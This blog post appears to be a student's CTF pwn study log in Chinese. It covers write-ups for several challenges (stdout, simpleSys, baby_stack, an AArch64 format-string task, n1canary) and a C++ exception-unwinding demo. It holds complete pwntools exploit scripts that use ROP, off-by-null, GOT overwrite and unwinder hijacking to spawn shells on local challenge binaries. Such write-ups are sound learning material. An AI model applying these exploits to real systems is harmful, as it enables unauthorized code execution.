2024暑期学习(一)
非常非常非常感谢ve1kcon!^ ^✌️2024年暑期学习 (1) - ve1kcon - 博客园 (cnblogs.com)
学习内容:
1.复现了一点点题目
2.了解了C++异常处理
3.学习了Tmux的使用
cqb2024x
ctf
stdout
前置内容(copy):
setvbuf()
函数的原型如下
int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
- stream 是指向 FILE 对象的指针,该 FILE 对象标识了一个打开的流
- buffer 是分配给用户的缓冲,如果设置为 NULL,该函数会自动分配一个指定大小的缓冲
- mode 指定了文件缓冲的模式
- size 是缓冲的大小,以字节为单位
该函数的三参有三种模式:
- 全缓冲:0,缓冲区满 或 调用fflush() 后输出缓冲区内容
- 行缓冲:1,缓冲区满 或 遇到换行符 或 调用fflush() 后输出缓冲区内容
- 无缓冲:2,直接输出
了解了这些,后面的思路无非是通过填满缓冲区或调用fflush()来输出缓冲区内容。但要调用 fflush()
函数显然需要 libc
基地址,但哪怕能够执行到 ROP 链泄出地址,也不会直接将数据输出,那么方法只剩下通过填满缓冲区的方式将数据带出来了。
检查保护
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
main()
函数中存在 0x10
大小栈溢出
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
init(argc, argv, envp);
puts("where is my stdout???");
read(0, buf, 0x60uLL);
return 0;
}
int init()
{
setvbuf(stdout, 0LL, 0, 0LL);
return setvbuf(stdin, 0LL, 2, 0LL);
}
vuln()
函数:
ssize_t vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
return read(0, buf, 0x200uLL);
}
extend()
函数,这个函数可以用来填满输出缓冲区然后再rop:
__int64 extend()
{
__int64 result; // rax
char s[8]; // [rsp+0h] [rbp-30h] BYREF
__int64 v2; // [rsp+8h] [rbp-28h]
__int64 v3; // [rsp+10h] [rbp-20h]
__int64 v4; // [rsp+18h] [rbp-18h]
int v5; // [rsp+28h] [rbp-8h]
int v6; // [rsp+2Ch] [rbp-4h]
puts("Just to increase the number of got tables");
*(_QWORD *)s = 0x216F6C6C6568LL;
v2 = 0LL;
v3 = 0LL;
v4 = 0LL;
v6 = strlen(s);
if ( strcmp(s, "hello!") )
exit(0);
puts("hello!");
srand(1u);
v5 = 0;
result = (unsigned int)(rand() % 16);
v5 = result;
return result;
}
exp:
from pwn import *
#p = remote("127.0.0.1",8888)
elf = ELF("./stdout")
p = process([elf.path])
libc = ELF("/home/ubuntu/tools/glibc-all-in-one/libs/2.31-0ubuntu9.14_amd64/libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
vuln = 0x40125D
pop_rdi_ret = 0x4013d3
puts_plt = 0x4010B0
ret = 0x000000000040101a
extend = 0x401287
pop_rsi_r15=0x4013d1
puts_got=0x404018
payload='a'*0x58+p64(vuln)
p.send(payload)
for i in range(2):
payload='a'*0x28+p64(extend)*55+p64(pop_rdi_ret)+p64(puts_got)+p64(elf.plt['puts'])+p64(vuln)
p.send(payload)
libc_base=u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))-libc.sym["puts"]
info("libc_base: "+hex(libc_base))
system=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search('/bin/sh'))
payload='a'*0x28+p64(extend)*56+p64(pop_rdi_ret)+p64(binsh)+p64(system)
p.send(payload)
p.interactive()
awdp
simpleSys
检查保护:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
menu()
int sub_17AD()
{
puts("1. sign up");
puts("2. login");
puts("3. add bio");
puts("4. logout");
return printf("Enter your choice: ");
}
选项 3 如下,需要 root
账户才能使用,evil_read((__int64)s, v3)
存在整数溢出从而导致栈溢出 + off_by_null,然后还可以填充数据直到栈上存储了地址的地方,在执行到 printf("confirm your bio: %s [y/n]", s)
时带出地址信息,泄出地址后选择 n
继续循环
int sub_146A()
{
int result; // eax
char s[91]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int8 v2; // [rsp+5Bh] [rbp-5h] BYREF
int v3; // [rsp+5Ch] [rbp-4h]
if ( !check_login )
return puts("login first");
if ( !check_root )
return puts("only root");
while ( 1 )
{
printf("input length: ");
v3 = get_num();
if ( v3 > 80 )
break;
evil_read((__int64)s, v3);
printf("confirm your bio: %s [y/n]", s);
__isoc99_scanf("%c", &v2);
getchar();
result = v2;
if ( v2 == 'y' )
return result;
v3 = 0;
memset(s, 0, 0x50uLL);
}
return puts("too long");
}
选项2,输入name为root可以进入循环,base64()
函数会将用户输入的密码经过 base64 编码后存储在 mypasswd_b
中
int login()
{
unsigned int v0; // eax
size_t v1; // rax
int result; // eax
size_t v3; // rax
size_t v4; // rax
char mypasswd[48]; // [rsp+0h] [rbp-60h] BYREF
char myname[48]; // [rsp+30h] [rbp-30h] BYREF
memset(myname, 0, 0x25uLL);
memset(mypasswd, 0, 0x25uLL);
printf("username: ");
evil_read((__int64)myname, 0x24uLL);
printf("password: ");
evil_read((__int64)mypasswd, 0x24uLL);
if ( !strncmp(myname, "root", 4uLL) )
{
v0 = strlen(mypasswd);
base64(mypasswd, v0, &mypasswd_b);
v1 = strlen(root_passwd);
if ( !strncmp(&mypasswd_b, root_passwd, v1) )
{
result = printf("%s login successfully\n", myname);
check_root = 1;
check_login = 1;
return result;
}
}
else
{
v3 = strlen(name);
if ( !strncmp(myname, name, v3) )
{
v4 = strlen(passwd);
if ( !strncmp(mypasswd, passwd, v4) )
{
result = printf("%s login successfully\n", myname);
check_login = 1;
return result;
}
}
}
return puts("fail to login");
}
刚好mypasswd_b和root_passwd是挨着的,”输入 36 个 'a' 进行编码后长度为 0x30
,存储到 mypasswd_b
时因为存在 off-by-null 会将紧挨着的 root_passwd
低位覆盖为 '\x00'
,使得判断长度 v1 = strlen(root_passwd)
的值为 0 绕过判断,从而能够登录 root
账户“,看了下base64()
,应该结尾这个地方存在off-by-null, *(_BYTE *)(v11 + a3) = 0;
.data:0000000000004020 ; char mypasswd_b
.data:0000000000004020 mypasswd_b dq 0FFFFFFFFFFFFFFFFh ; DATA XREF: login+B7↑o
.data:0000000000004020 ; login+E4↑o
.data:0000000000004028 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004030 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004038 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004040 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004048 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004050 ; char root_passwd[24]
.data:0000000000004050 root_passwd db 'dGhpcyBpcyBwYXNzd29yZA=='
.data:0000000000004050 ; DATA XREF: login+C8↑o
.data:0000000000004050 ; login+DA↑o
其实可以发现 root_passwd
是以硬编码的形式存储,可以 base64 解码得到明文 this is password
,但还是登录失败,经过调试发现了奇怪的地方,strncmp()
函数的三参是 0x19
,照例来说编码的长度是 0x18
v1 = strlen(root_passwd)
判断的是 root_passwd
的长度,因为后面其紧跟着 '\x01'
字节,所以导致检测长度增加,然后它也不是一串合法的经 base64 编码能得到字符串,所以只能按上述方法绕过
exp
:
from pwn import *
#p = remote("127.0.0.1",8888)
elf = ELF("./simpleSys")
p = process([elf.path])
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
def menu(index):
p.sendlineafter('Enter your choice: ', str(index))
def signup(username, passwd):
menu(1)
p.sendlineafter('username: ', username)
p.sendlineafter('password: ', passwd)
def login(username, passwd):
menu(2)
p.sendlineafter('username: ', username)
p.sendlineafter('password: ', passwd)
def addbio(len, content='a'):
menu(3)
p.sendlineafter('length: ', str(len))
p.sendline(content)
# gdb.attach(p,"b *$rebase(0x14B2)")
# pause()
login('root', 'a'*36)
payload = 'a' * (0x30)
addbio(-1, payload)
libc_base=u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))- 0x273040
info("libc base: "+hex(libc_base))
p.sendlineafter('[y/n]', 'n')
pop_rdi_ret=libc_base+0x2a3e5
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh\x00').next()
payload = 'a' * (0x60 + 0x8)
payload += p64(pop_rdi_ret + 1)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.sendlineafter('length: ', '-1')
p.sendline(payload)
p.sendlineafter('[y/n]', 'y')
p.interactive()
WKCTF
baby_stack
检查保护,GOT 表可写,无 canary:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./2.27-3ubuntu1.6'
wait()
栈上数据大放送,甚至不需要构造 payload,输入数字作为对应偏移即可泄出对应数据:
__int64 wait()
{
unsigned int v0; // eax
char s[5]; // [rsp+Bh] [rbp-85h] BYREF
char format[120]; // [rsp+10h] [rbp-80h] BYREF
puts("Press enter to continue");
getc(stdin);
printf("Pick a number: ");
fgets(s, 5, stdin);
v0 = strtol(s, 0LL, 10);
snprintf(format, 0x64uLL, "Your magic number is: %%%d$llx\n", v0);
printf(format);
return introduce();
}
get_num_bytes()
:
int get_num_bytes()
{
unsigned int v0; // eax
char s[13]; // [rsp+Bh] [rbp-15h] BYREF
printf("How many bytes do you want to read (max 256)? ");
fgets(s, 5, stdin);
v0 = strtol(s, 0LL, 10);
if ( v0 > 0x100 )
return puts("Don't break the rules!");
else
return echo(v0);
}
echo()
:
__int64 __fastcall echo(unsigned int a1)
{
char v2[256]; // [rsp+0h] [rbp-100h] BYREF
return echo_inner(v2, a1);
}
echo_inner(_BYTE *a1, int a2)
off-by-null,可以改 rbp 低位为 \x00
,效果是在 echo_inner()
函数返回时有一定几率能够抬栈,此时若在上方布置了 ROP 链,则在上层函数 echo()
返回时就能执行到布置的链子,在 ROP 链前添加尽可能多的滑板指令可以提高成功率:
int __fastcall echo_inner(_BYTE *a1, int a2)
{
a1[(int)fread(a1, 1uLL, a2, stdin)] = 0;
puts("You said:");
return printf("%s", a1);
}
刚开始没怎么懂,后来调试了几遍弄明白了,就是利用返回的leave;ret;栈迁移:
exp:
from pwn import *
#p = remote("127.0.0.1",8888)
elf = ELF("./pwn")
p = process([elf.path])
libc = ELF("/home/ubuntu/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
gdb.attach(p, "b *$rebase(0x1300)\nc")
pause()
p.send('1')
p.sendlineafter('number: ','6')
p.recvuntil('number is: ')
libc_base=int(p.recv(12),16)-0x57e3-0x3e7000
info("libc_base: "+hex(libc_base))
p.sendlineafter('(max 256)? ', '256')
ret=libc_base+0x8aa
onegadget=libc_base+[0x4f29e,0x4f2a5,0x4f302,0x10a2fc][2]
payload=p64(ret)*31+p64(onegadget)
# pop_rdi_ret=libc_base+0x2164f
# system=libc_base+libc.sym['system']
# bin_sh=libc_base+next(libc.search('/bin/sh'))
# payload=p64(ret)*28+p64(pop_rdi_ret)+p64(bin_sh)+p64(0)
p.send(payload)
p.interactive()
something_changed
检查保护,一个 AARCH64
架构的程序,GOT 表可写,开了 canary 保护:
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
AARCH64(也称为 ARM64)是 ARM 公司的 64 位处理器架构。它是 ARMv8-A 架构的一部分,设计用于增强性能和处理能力,特别是在移动设备、嵌入式系统、服务器和高性能计算领域。
➜ silent ./silent
/lib/ld-linux-aarch64.so.1: No such file or directory
运行报错,偷看下ve1kcon老师的作业
解决方法如下
$ sudo apt-get install gcc-10-aarch64-linux-gnu
$ sudo cp /usr/aarch64-linux-gnu/lib/* /lib/
main()
main函数存在栈溢出漏洞和格式化字符串漏洞:
int __fastcall main(int argc, const char **argv, const char **envp)
{
size_t v4; // x19
int i; // [xsp+FCCh] [xbp+2Ch]
char v6[40]; // [xsp+FD0h] [xbp+30h] BYREF
__int64 v7; // [xsp+FF8h] [xbp+58h]
v7 = _bss_start;
read(0, v6, 0x50uLL);
for ( i = 0; ; ++i )
{
v4 = i;
if ( v4 >= strlen(v6) )
break;
if ( (char *)(unsigned __int8)v6[i] == "$" )
return 0;
}
printf(v6);
return 0;
}
存在backdoor
:
__int64 backdoor()
{
__int64 v1; // [xsp+18h] [xbp+18h]
v1 = _bss_start;
system("/bin/sh");
return v1 ^ _bss_start;
}
测下偏移,偏移是14:
➜ silent ./silent
aaaaaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
aaaaaaaa-0x40007ffd80-0x2c-0xfffff-(nil)-(nil)-0x6f242c6f242c6f24-0x7f7f7f7f7f7f7f7f-0x40007ffd70-0x40008773fc-0x40007ffee8-0x400081314c-0x40007ffee8-0x4b00000001-0x6161616161616161-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70
canary被破坏会触发__stack_chk_fail()
函数,所以直接使用 fmtstr_payload
这个轮子将 __stack_chk_fail()
函数的 GOT 表改成后门地址
exp:
from pwn import *
#p = remote("127.0.0.1",8888)
elf = ELF("./silent")
p = process([elf.path])
#libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
payload=fmtstr_payload(14, {0x411018:0x400770}, write_size='short')
p.sendline(payload)
p.interactive()
如何调试异构这道异构题:
在运行于 x86_64
架构上的 Ubuntu
系统里查看 arm
交叉编译的可执行文件依赖的动态库
➜ silent readelf -a ./silent | grep "Shared"
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
第一个终端运行脚本,注意修改建立连接的语句 p = process(['qemu-aarch64-static', '-g', '1234', './pwn'])
,然后另起一个终端使用 GDB
连上去
另外
GDB
默认会自动检测并使用目标系统的字节序模式,但以防万一也可以自行设置小端序pwndbg> set endian little
异构程序的调试和相关指令集学习详见 PowerPC&ARM架构下的pwn初探
$ gdb-multiarch -q -ex "set architecture aarch64" ./pwn
pwndbg> add-symbol-file ./libc.so.6
pwndbg> set endian little
pwndbg> target remote :1234
exp:
from pwn import *
context(arch='aarch64', os='linux', log_level='debug')
#context.terminal = ["tmux", "splitw", "-h"]
# p = process(['qemu-aarch64-static', './pwn'])
p = process(['qemu-aarch64-static', '-g', '1234', './silent'])
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
debug('''
add-symbol-file /lib/x86_64-linux-gnu/libc.so.6
target remote :1234
b *0x400854
c
''')
payload = fmtstr_payload(14, {0x411018:0x400770}, write_size='short')
p.sendline(payload)
p.interactive()
C++异常处理
前置知识:
异常是程序在执行期间产生的问题。C++ 异常是指在程序运行时发生的特殊情况,比如尝试除以零的操作。
异常提供了一种转移程序控制权的方式。C++ 异常处理涉及到三个关键字:try、catch、throw。
- throw: 当问题出现时,程序会抛出一个异常。这是通过使用 throw 关键字来完成的。
- catch: 在您想要处理问题的地方,通过异常处理程序捕获异常。catch 关键字用于捕获异常。
- try: try 块中的代码标识将被激活的特定异常。它后面通常跟着一个或多个 catch 块。
如果有一个块抛出一个异常,捕获异常的方法会使用 try 和 catch 关键字。try 块中放置可能抛出异常的代码,try 块中的代码被称为保护代码。使用 try/catch 语句的语法如下所示:
try { // 保护代码 }catch( ExceptionName e1 ) { // catch 块 }catch( ExceptionName e2 ) { // catch 块 }catch( ExceptionName eN ) { // catch 块 }
如果 try 块在不同的情境下会抛出不同的异常,这个时候可以尝试罗列多个 catch 语句,用于捕获不同类型的异常。来自-C++ 异常处理 | 菜鸟教程 (runoob.com)
调试一下ve1kcon的demo来加深对异常处理机制的理解,目的是去验证下列操作的可行性:
- 通过篡改 rbp 可以实现类似栈迁移的效果,来控制程序执行流 ROP
- unwind 会检测在调用链上的函数里是否有 catch handler,要有能捕捉对应类型异常的 catch 块;通过劫持 ret 可以执行到目标函数的 catch 代码块,但是前提是要需要拥有合法的 rbp
// exception.cpp
// g++ exception.cpp -o exc -no-pie -fPIC
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void backdoor()
{
try
{
printf("We have never called this backdoor!");
}
catch (const char *s)
{
printf("[!] Backdoor has catched the exception: %s\n", s);
system("/bin/sh");
}
}
class x
{
public:
char buf[0x10];
x(void)
{
// printf("x:x() called!\n");
}
~x(void)
{
// printf("x:~x() called!\n");
}
};
void input()
{
x tmp;
printf("[!] enter your input:");
fflush(stdout);
int count = 0x100;
size_t len = read(0, tmp.buf, count);
if (len > 0x10)
{
throw "Buffer overflow.";
}
printf("[+] input() return.\n");
}
int main()
{
try
{
input();
printf("--------------------------------------\n");
throw 1;
}
catch (int x)
{
printf("[-] Int: %d\n", x);
}
catch (const char *s)
{
printf("[-] String: %s\n", s);
}
printf("[+] main() return.\n");
return 0;
}
检查一下保护,开了canary
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
输入点 buf 距离 rbp 的距离是0x30
unsigned __int64 input(void)
{
_QWORD *exception; // rax
char buf[24]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-18h]
v3 = __readfsqword(0x28u);
x::x((x *)buf);
printf("[!] enter your input:");
fflush(stdout);
if ( (unsigned __int64)read(0, buf, 0x100uLL) > 0x10 )
{
exception = __cxa_allocate_exception(8uLL);
*exception = "Buffer overflow.";
__cxa_throw(exception, (struct type_info *)&`typeinfo for'char const*, 0LL);
}
puts("[+] input() return.");
x::~x((x *)buf);
return v3 - __readfsqword(0x28u);
}
输入长度分别为0x31和0x39的 PoC,发现会报不同的 crash,合理推测栈上的数据(例如 ret, rbp)会影响异常处理的流程
➜ C++异常处理 ./exc
[!] enter your input:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa
[-] String: Buffer overflow.
[+] main() return.
➜ C++异常处理 ./exc
[!] enter your input:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaa
[1] 6613 bus error (core dumped) ./exc
当程序执行到 input()
函数中的某个部分发生异常时,程序会立即开始异常处理过程,而不会继续执行该函数中异常后的代码。
这是因为异常处理会从 __cxa_throw()
开始,然后进行栈展开(unwind)、清理(cleanup)、寻找异常处理器(handler)等步骤。在这个过程中,程序不会执行发生异常的函数的剩余部分。它会沿着函数调用链向上查找,直到找到能够处理该异常的最近的函数,然后跳转到该函数的 catch
块继续执行。
因此,出现异常的函数中的 throw
语句后的代码,以及在栈展开过程中被跳过的函数的剩余代码,都不会被执行。这就是为什么你不会看到 input()
函数中 throw
语句后的任何输出。
继续运行程序到报错的位置,0x401506
这条 ret 指令处出了问题,是错误的返回地址导致的,记录下这个指令地址
根据指令地址,可以在 IDA 中定位到这是异常处理结束后的最终 ret
指令。因此,可以确定程序在执行 main
函数的异常处理器时崩溃。导致这种崩溃的原因很明显:最后执行的 leave; ret
指令将返回地址设置为 [rbp+8]
,导致非法的返回地址。这意味着可以在异常处理器中完成栈迁移。因此,可以尝试通过修改 rbp
来实现控制程序执行,从而提前布置好的 ROP 链。
接下来尝试劫持程序去执行 GOT 表里的函数
把rbp改成puts.got-0x8,利用 poc2 = padding + p64(0x404050-0x8)
,运行到上述断点处发现成功调用到了 puts
函数
但这种利用方式只适用于 “通过将 old_rbp 存储于栈中来保留现场” 的函数调用约定,以及需要出现异常的函数的 caller function 要存在处理对应异常的代码块,否则也会走到 terminate
为了调试上述说法,对 demo 作了修改,主要改动如下
void test()
{
x tmp;
printf("[!] enter your input:");
fflush(stdout);
int count = 0x100;
size_t len = read(0, tmp.buf, count);
if (len > 0x10)
{
throw "Buffer overflow.";
}
printf("[+] test() return.\n");
}
void input()
{
test();
printf("[+] input() return.\n");
}
这回同样是使用 poc2
,但 crash 了
对 demo 重新修改的部分如下
void input()
{
try
{
test();
}
catch (const char *s)
{
printf("[-] String(From input): %s\n", s);
}
printf("[+] input() return.\n");
}
再琢磨下异常处理机制,能够发现另外一个利用点,就是假如函数A内有能够处理对应异常的 catch 块,是否可以通过影响运行时栈的函数调用链,即更改某 callee function ret 地址,从而能够成功执行到函数A的 handler 呢
下面尝试通过直接劫持 input()
函数的 ret, 可以发现在源码中有定义 backdoor()
函数,但程序中并没有一处存在对该后门函数的引用,利用 poc4 = poc2 + p64(0x401292+1)
尝试触发后门
这里将返回地址填充成了
backdoor()
函数里 try 代码块里的地址,它是一个范围,经测试能够成功利用的是一个左开右不确定的区间(x)
.text:0000000000401283 lea rax, format ; "We have never called this backdoor!"
.text:000000000040128A mov rdi, rax ; format
.text:000000000040128D mov eax, 0
.text:0000000000401292 ; try {
.text:0000000000401292 call _printf
.text:0000000000401292 ; } // starts at 401292
.text:0000000000401297 jmp short loc_4012FF
可以看见程序执行了后门函数的异常处理模块,复现成功,成功执行到了一个从未引用过的函数,而且程序从始至终都是开了 canary 保护的,这直接造成的栈溢出却能绕过 stack_check_fail()
这个函数对栈进行检测
exp:
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context.terminal = ["tmux", "splitw", "-h"]
pwnfile = './exc'
p = process(pwnfile)
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def exp():
debug('b *(&_Unwind_RaiseException+463)') # call _read
# b __cxa_throw@plt
# b *0x401506 # handler ret
# b *(&_Unwind_RaiseException+463) # check ret
test = 'a'*5
padding = 'a'*0x30
# poc = padding + '\n'
#poc1 = padding + '\x01'
poc2 = padding + p64(0x404050-0x8)
#poc3 = poc2 + 'b'*8
poc4 = poc2 + p64(0x401292+1)
p.sendafter('input:', poc4)
exp()
p.interactive()
N1CTF2023_n1canary
检查保护:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
main()
:
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
__int64 v4; // rax
_QWORD v6[3]; // [rsp+0h] [rbp-18h] BYREF
v6[1] = __readfsqword(0x28u);
setbuf(stdin, 0LL, envp);
setbuf(stdout, 0LL, v3);
init_canary();
std::make_unique<BOFApp>(v6);
v4 = std::unique_ptr<BOFApp>::operator->(v6);
(*(void (__fastcall **)(__int64))(*(_QWORD *)v4 + 16LL))(v4);
std::unique_ptr<BOFApp>::~unique_ptr(v6);
return 0;
}
readall
函数被调用以读取用户提供的 canary 值。模板参数 unsigned long long [8]
表示要读取的类型是一个包含 8 个 unsigned long long
的数组。&user_canary
是存储用户提供的 canary 值的地址。函数返回 readall
的结果,这是一个 __int64
类型的值。
__int64 init_canary(void)
{
if ( getrandom(&sys_canary, 64LL, 0LL) != 64 )
raise("canary init error");
puts("To increase entropy, give me your canary");
return readall<unsigned long long [8]>(&user_canary);
}
__int64 __fastcall ProtectedBuffer<64ul>::getCanary(unsigned __int64 a1)
{
return user_canary[(a1 >> 4) & 7] ^ sys_canary[(a1 >> 4) & 7];
}
这段代码是 BOFApp
类的构造函数实现,具体做了以下事情:
- 调用基类构造函数:调用
UnsafeApp
类的构造函数来初始化this
对象。 - 设置虚表指针:将
this
对象的前 8 字节设置为指向off_4ED510
,这通常是一个指向虚函数表(vtable)的指针,用于支持多态性。
概括来说,这段代码在创建 BOFApp
对象时,先初始化其基类 UnsafeApp
,然后设置其虚表指针。
void __fastcall BOFApp::BOFApp(BOFApp *this)
{
UnsafeApp::UnsafeApp(this);
*(_QWORD *)this = off_4ED510;
}
创建一个 BOFApp
类的实例,然后调用 BOFApp
的构造函数初始化对象,跟进后面那个函数发现进行了 *a1 = v1
的操作
__int64 __fastcall std::make_unique<BOFApp>(__int64 a1)
{
BOFApp *v1; // rbx
v1 = (BOFApp *)operator new(8uLL);
*(_QWORD *)v1 = 0LL;
BOFApp::BOFApp(v1);
std::unique_ptr<BOFApp>::unique_ptr<std::default_delete<BOFApp>,void>(a1, v1);
return a1;
}
执行完std::make_unique<BOFApp>((__int64)v6)
后,栈变量 v6
被重新赋值
接下来调用BOFApp::launch()
函数
0x4ed520 <_ZTV6BOFApp+32>: 0x0000000000403552 0x0000000000000000
0x4ed530: 0x0000000000000000 0x0000000000000000
.data.rel.ro:00000000004ED510 off_4ED510 dq offset _ZN6BOFAppD2Ev
.data.rel.ro:00000000004ED510 ; DATA XREF: BOFApp::BOFApp(void)+16↑o
.data.rel.ro:00000000004ED510 ; BOFApp::~BOFApp()+9↑o
.data.rel.ro:00000000004ED510 ; BOFApp::~BOFApp()
.data.rel.ro:00000000004ED518 dq offset _ZN6BOFAppD0Ev ; BOFApp::~BOFApp()
.data.rel.ro:00000000004ED520 dq offset _ZN6BOFApp6launchEv ; BOFApp::launch(void)
最后是对象的析构函数,里面要重点关注的函数的路径是 std::unique_ptr<BOFApp>::~unique_ptr()
--> std::default_delete<BOFApp>::operator()(BOFApp*)
,这里存在函数指针调用,这意味着只需要控制 a2
的值就能控制程序流
__int64 __fastcall std::default_delete<BOFApp>::operator()(__int64 a1, __int64 a2)
{
__int64 result; // rax
result = a2;
if ( a2 )
return (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a2 + 8LL))(a2);
return result;
}
通过调试分析参数a2和前面的栈变量v6有关
这里调用了0x4038b8
这里存在栈溢出:
__int64 __fastcall BOFApp::launch(void)::{lambda(char *)#1}::operator()(
__int64 a1,
__int64 a2,
int a3,
int a4,
int a5,
int a6)
{
return _isoc23_scanf((unsigned int)"%[^\n]", a2, a3, a4, a5, a6, a2, a1);
}
chatgpt回答:这段代码中存在栈溢出的风险,主要是因为 _isoc23_scanf
函数的参数不正确。具体问题如下:
-
重复使用的参数:
_isoc23_scanf
接受的参数是变长参数列表,但在调用时,参数a2
被重复使用了两次。这会导致未定义行为,因为 scanf 系列函数期望所有参数都是独立的。 -
参数数量错误:
_isoc23_scanf
的第一个参数是格式字符串,后续参数是根据格式字符串匹配的。传递给_isoc23_scanf
的参数应与格式字符串中指定的格式完全一致。这里的格式字符串"%[^\n]"
只需要一个参数,但实际传递了七个参数(包括重复的a2
和a1
)。"%[^\n]"
格式字符串会读取直到换行符的所有字符。如果输入的字符数超过了目标缓冲区的大小,就会导致缓冲区溢出。
断点下载__isoc23_scanf
,输入deadbeef看下写入的位置
距离指针0x70
bool __fastcall ProtectedBuffer<64ul>::check(unsigned __int64 a1)
{
__int64 v1; // rbx
bool result; // al
v1 = *(_QWORD *)(a1 + 0x48);
result = v1 != ProtectedBuffer<64ul>::getCanary(a1);
if ( result )
raise("*** stack smash detected ***");
return result;
}
void __fastcall __noreturn raise(const char *a1)
{
std::runtime_error *exception; // rbx
puts(a1);
exception = (std::runtime_error *)_cxa_allocate_exception(0x10uLL);
std::runtime_error::runtime_error(exception, a1);
_cxa_throw(exception, (struct type_info *)&`typeinfo for'std::runtime_error, std::runtime_error::~runtime_error);
}
在0x403291
下断点,只要控了 RAX
就能够控到 RDX
,在最后的 call rdx;
处便能造成任意代码执行
exp
:
from pwn import *
#p = remote("127.0.0.1",8888)
elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
#context.terminal = ["tmux", "splitw", "-h"]
context.log_level = 'debug'
p = process([elf.path])
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
# debug('b *0x403291\nc')
# b *0x403547 #BOFApp::launch(void):_isoc23_scanf
# b *0x40340D # Destructor
# b *0x403909 # pointer call
# b *0x403291 # raise->throw
# b *0x403432 # <main+146> call std::unique_ptr<BOFApp, std::default_delete<BOFApp> >::~unique_ptr()
# b *0x4038fc
backdoor = 0x403387
user_canary = 0x4F4AA0
payload = p64(user_canary+8) + p64(backdoor)*2
payload = payload.ljust(0x40, 'a')
p.sendafter('canary\n', payload)
payload = 'a'*(0x70-0x8)
payload += p64(0x403407) # ret
# payload += 'a'*(0x8)
payload += p64(user_canary) # BOFApp *v6
p.sendlineafter(' to pwn :)\n', payload)
p.interactive()
标签:__,学习,return,libc,暑期,2024,int,int64,payload
From: https://www.cnblogs.com/cosyQAQ/p/18351124